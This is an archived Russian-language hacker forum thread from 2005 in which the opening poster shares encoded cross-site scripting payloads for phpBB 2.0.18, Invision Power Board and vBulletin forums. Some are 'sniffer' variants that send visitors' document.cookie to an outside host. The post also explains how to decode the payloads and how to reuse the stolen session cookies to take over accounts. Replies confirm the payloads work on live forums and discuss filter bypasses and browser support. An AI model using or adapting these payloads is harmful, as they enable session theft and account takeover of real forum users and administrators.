PDA

Просмотр полной версии : Kak lomati phpbb 2.0.18 i nizhe. Koroche na vseh forymah deistvyet.


queen
08.11.2005, 08:37
Mayalsya Ya opyati ot bezdeliya, i dymaiu....poidy phpbb 2.0.18 vzlomaiu.


Ny potratil nesoliko secund, koroche
lovite kod alerta:

http://www.wj (http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#97;&+#108;&+#101;&+#114;&+#116;&+#40;&+#41;&+#41;&+#32;)

Kod Sniffera:

http://www.wj (http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;)

Yberite znaki "+" V SPEZIUALINIUH simvolah!

http://webmastertools.narod.ru/OnlineTools/url_decode.html

Dlya redaktorovaniya kyk von vam ssiulka. Lychsche vsego v Browsere Opera i ne zabydite, chto izmenyaete toliko phpbb2mysql_data a phpbb2mysql_sid mozhete ne menyati i ne trogati.



Sniffak delaetsya ispolizyya ety ssiulky:

http://www.h4cky0u.org/encrypt/index.php

Ny i komy interesno, chitaite ety statiiu dlya profilaktiki

http://forum.antichat.ru/thread10119.html


Kak lomati fastbb po mnogochislennoiu prosibe posetiteleiu antichata.

Alert.

]


Sniffer:

]

Ne znaiu kak tam v fastbb rabotaet avtorizaziuya ne smotrel, no esli chto, to mozhno vsegda Adminy pomenyati
paroli samomy, potomy chto paroli menyaetsya na noviu, bez starogo.


Viuschla novaya versiya IPB 2.1.3

I lomaetsya eta versiya vot tak:

(Ya proveril, i naschel chto etot ko rabotaet na VSEH 2.* i na vseh 1.* IPB. )



wj@wj[/url].com ` style=`background:url(javaSCrip t:alert(/wj/))`


Kyki voryem vot tak:

wj@wj (http://www.wj.com`=`).com ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`



Ny i vBulletin 3.0.9 (Rabotaet do vBulletin 3.0.7)

Hoti Ya yzhe ego v staroiui statie i viukladiuval, no ne vse kazhetsya ponyali osobenno novichki kak kod pravit chtobiu rabotal.

Sniffer.

http://www.]wj (wj[url)




Kstati, eto yzhe k wapbbs.


Viu svoiu forum posle moego tretiyago raza kak Ya vas vzlom opyati pochenili, a Ya OPYATI ego vzlomal. )


A kod ne viulozhy potomy chto diury zakroiite opyati i mne opyati pridetsya iskati tegi. Ne horoscho postypaiti Ya vas sorovno kogda hochy lomaiu!!!!! loooooooooool



White Jordan.

Mina
09.11.2005, 20:50
Отлично! А это работает на Vbuletin 350?

k1b0rg
09.11.2005, 21:12
Mayalsya Ya opyati ot bezdeliya, i dymaiu....poidy phpbb 2.0.18 vzlomaiu.
слухай queen
а тебе не кажеться, что воровать чужое добро плого, в частности заниматся плагиатом
ЭТО ВСЕ коды Белого Джордана, если сам отказываешься в это поверить, то посмотри еще раз на эти коды и убедишься, у меня один в один такие же коды как у тебя, не могли мы с тобою одно и тоже подумать. Так что я думаю, ты сделаешь правильный вывод для себя, и удалишь свою тему.

m0nzt3r
10.11.2005, 13:06
а Wj, закончил свою карьеру=(
изменил свое поведение, свою асю, мыло, ник, стиль общения, и возможно где-то среди нас, но уже совсем другой =(
ага мне тож писал он хотя в моем контакт листе не был... да и вообще надоело наверно быть всеобщим посмешищем=) да кстати эти баги фигня они не проходят=)

Tem
10.11.2005, 14:13
в Ipb 2.0.4 всё проходит , просто супер.

k1b0rg
10.11.2005, 15:12
ага мне тож писал он хотя в моем контакт листе не был... да и вообще надоело наверно быть всеобщим посмешищем=) да кстати эти баги фигня они не проходят=)
я бы не сказал конечно посмещищем, все таки он был знающим, как не крути но это так
xss и СИ он знал отлично.
а насчет его кодов, да, они работают тока надо немного их доработать, я проверял, все что он написал правда, и работает отлично, даже на ачате.
но я думал, то раньше, что &+#58 это наоборот, чтоб не срабатывало кодируют так, а у него выходит что все нормально.

Net_Gear
11.11.2005, 11:36
я бы не сказал конечно посмещищем, все таки он был знающим, как не крути но это так
xss и СИ он знал отлично.
а насчет его кодов, да, они работают тока надо немного их доработать, я проверял, все что он написал правда, и работает отлично, даже на ачате.
но я думал, то раньше, что &+#58 это наоборот, чтоб не срабатывало кодируют так, а у него выходит что все нормально.
+ уберать надо.

K[o]S
12.11.2005, 17:28
WJ Конечно молодец не чё не скажешь!
Но все его XSS коды работают тока в IE.
Но ведь есть FireFoX Opera/
Коды в студию =)

Polisos
14.11.2005, 09:13
S']WJ Конечно молодец не чё не скажешь!
Но все его XSS коды работают тока в IE.
Но ведь есть FireFoX Opera/
Коды в студию =)


нет лол конечно можно сделать так, чтобы работало и в Опере и в Фаерфоксе, но просто как то саму разумеется выкладывается для Ие, а потом читатель дописывает код для той версии браузера, которая ему нужна. Ты вообще знаешь СКОЛЬКО в мире разных браузеров??? Не могу же Я дописывать для каждого браузера коды! Это просто дело времени да и не нужно.

Есть много способов сделать чтобы коды работали в фаерфоксе кстати. Одна из них, эот использовать функцию onmouseover=alert(/wj/)
ну и размер увеличить до такой велечены, чтобы хочешь не хочешь а хер....да много способов есть!

Сам фаерфокс и опера, имеют меньше возможностей чем ИЕ это раз, так что Javascript без тегов и многое другое, не работает ни в фаерфоксе ни в опере.

ИЕ это вообще самый лучшый браузер в мире, но он менее из-за этого защищён.

Я та тут причём

Polisos
14.11.2005, 15:32
wj ты опять себя выдал :)
Наверно следует ждать бана...хотя хз
А манера писать я как "Я" так и осталась :)
Я себя никогда не прятал. Что значит Я выдал себя? Я сам не знаю почему не банят, и сам не знаю за что банят.

Polisos
14.11.2005, 17:58
Ха как интересно, просто столько слухов шло, что коды в статье не работали, проверив, Я нашёл что они и действительно не работают.

Хер знает почему, но видео которое Я снял, короче туда Я поместил уже рабочий код. Это видео будет ещё несколько дней там висеть потом оно само сотрётся.

А вообще хорошо, что в статье код не работает даже когда плюсики убераешь.... ломать не будут.

Polisos
14.11.2005, 18:11
мх, да нет, всё работает вродебы...+document.cookie не забудьте правильно написать и тогда всё работает.

Mastermind
14.11.2005, 23:44
хм... специальными символами здесь будут только " (& + # 3 4 ; )? т.е. + убирается только в них?

NeMiNeM
15.11.2005, 02:03
Подскажите, а что нам даёт код алерта?

Polisos
15.11.2005, 02:17
хм... специальными символами здесь будут только " (& + # 3 4 ; )? т.е. + убирается только в них?
Да.


NeMiNeM,

Показывает что всё работает. Если есть алёрт, будет всё остальное. И сниффер, и любой другой язык Javascript`а если сумеешь правильно всё написать.

Mastermind
15.11.2005, 23:29
Все прекрасно работает. Огромнейшее спасибо автору. Однако хотелось бы выяснить, есть ли подобные XSS для vb 3.5.x?

Paralitik
16.11.2005, 01:36
Все прекрасно работает. Огромнейшее спасибо автору. Однако хотелось бы выяснить, есть ли подобные XSS для vb 3.5.x?


Ну у меня конечно есть.

А в публику это Я выкладывать не хочу, так как это самый защищённый форум на сегодняшний день, (Я проверил) и хотелось бы на всякий пожарный, уметь его иметь. +)


NeMiNeM,

Сонный был, чуток не правильно сказал прочёл так сам засмеялся лол...


Алёрт показывает что всё работает. Если есть алёрт, будет всё остальное, и сниффер, и любая другая функция Javascript`а если с умеешь правильно всё написать обойдя все фильтры.

Вот так надо. +)

Algol
21.11.2005, 19:12
я проверял, все что он написал правда, и работает отлично, даже на ачате.

Что именно работает-то ?

2WJ
Тебе конечно упорства не занимать, в плане поиска багов, но не мешало бы помнить, что все баги якобы тобой найденные, на самом деле были найдены античатом, и с применением технологий, описанных здесь же. Поменьше самовозвеличивания.

Бафун
22.11.2005, 02:16
Что именно работает-то ?

2WJ
Тебе конечно упорства не занимать, в плане поиска багов, но не мешало бы помнить, что все баги якобы тобой найденные, на самом деле были найдены античатом, и с применением технологий, описанных здесь же. Поменьше самовозвеличивания.
Ну не то, что все баги которые Я нахожу, уже нашёл античат....просто так скажу, 90% процентов, Я научился именно от тебя и zFailure`a. Больше всего от тебя. Это насчёт того, что с помощью тегов можно провести XSS атаку, засунув один тег в другой сам метод техники т.д. Вообще-то, если бы именно не ты, именно ты, то никто бы ничего не античате не знал так хорошо, как он знает, потому что ты был во многом первым и открыл море идей для других включая меня.

Теперь, многие твои идеи Я уже улучшил и постоянно улучшаю.

К примеру, уже спаренные теги, http://www.wj.gif[/IMG]]wj которые ты придумал или вложенные теги один в другой,

wj@wj.comhttp://www.wj.com

которые ты тоже придумал, уже для нашего времени - старьё. )
Я теперь использую тройные, а часто четверные комбинации тегов. Вот это уже извини подвинься, придумал именно Я. =)

и с применением технологий

Соглашаюсь, что до тебя всё, что почти все люди знали во всём мире, так это использовать одну из функций как
onmouseover=alert(/wj/)
увеличив буквы на всю страницу. Пришёл ты, и нашёл что в IE есть style=background:url(javascript:alert())
и существует третья, рабочая кавычка.
`

Это всё работает только в браузере Микрасофта. (ИЕ)

По всем доказательствам ты был первым, который это всё нашёл хотя не спорю, что это могли знать и другие люди, и ты мог быть не первым....ну во всяком случаи ты был первым, который вывел мир из тьмы незнания. )

Опять таки Я взял всю эту информацию и усовершенствовал её. Я теперь могу воровать куки во всех браузерах и делать это так, чтобы человек этого не заметил. Вот это тоже нашёл Я.

Античат был базой и есть база, вот так скажу........античатовская школа, инфлуировала много-численное количество людей. Но никто не стоит на месте. :cool:

*Van*
23.11.2005, 14:17
Джордан, а твой способ будет совершенно бесполезен если админ просто-напросто не поставит галочку "запомнить" при входе...На сниффер придут куки без хэша. Только сессия и id юзера.

syntacsis
23.11.2005, 15:07
Джордан, а твой способ будет совершенно бесполезен если админ просто-напросто не поставит галочку "запомнить" при входе...На сниффер придут куки без хэша. Только сессия и id юзера.
А чей способ будет полезен?

RUR
26.11.2005, 19:59
Всем привет!
Попробовал коды WJ локально (Денвер+phpBB 2.0.18), все работает. На реальном же форуме (club.passion.ru) почему-то не пашет. Весь код после вставки появляется в сообщении, только спецсимволы на нормальные заменяются. В чем тут может быть дело?

NeMiNeM
30.11.2005, 19:24
Хочу переделать сниффер под себя, но к сожелению http://www.h4cky0u.org/encrypt/index.php у меня не работает! Кто знает где ещё есть такие декодеры или у кого откривается ета страница?

Edit: уже не нужно - нашёл!
Кому надо: http://www.christ4you.org/modules/xoopstools/index.php?func=URLENCODER

Diablo
26.12.2005, 12:27
а можно сделать так, чтобы в алерте мой текст был ?

Barsik
26.12.2005, 12:57
а можно сделать так, чтобы в алерте мой текст был ?
Можно

syntacsis
26.12.2005, 14:53
Можно
Только на латинице и без многих знаков препинания

Ricky
05.01.2006, 06:29
Что именно работает-то ?



Уязвимость Булки 3.0.7 что же еще.

Только сейчас на античате тег фонт - просто отфильтруется. Не знаю сделано ли это чтобы показать, что никакого взлома не было, лoл, но по крайней мере свои атрибуты в теге фонт до сего дня можно вписывать. в теге фонт, теперь не пропускается кодировка UTF-8, слеши и скобки. А так, все до сих пор - работает.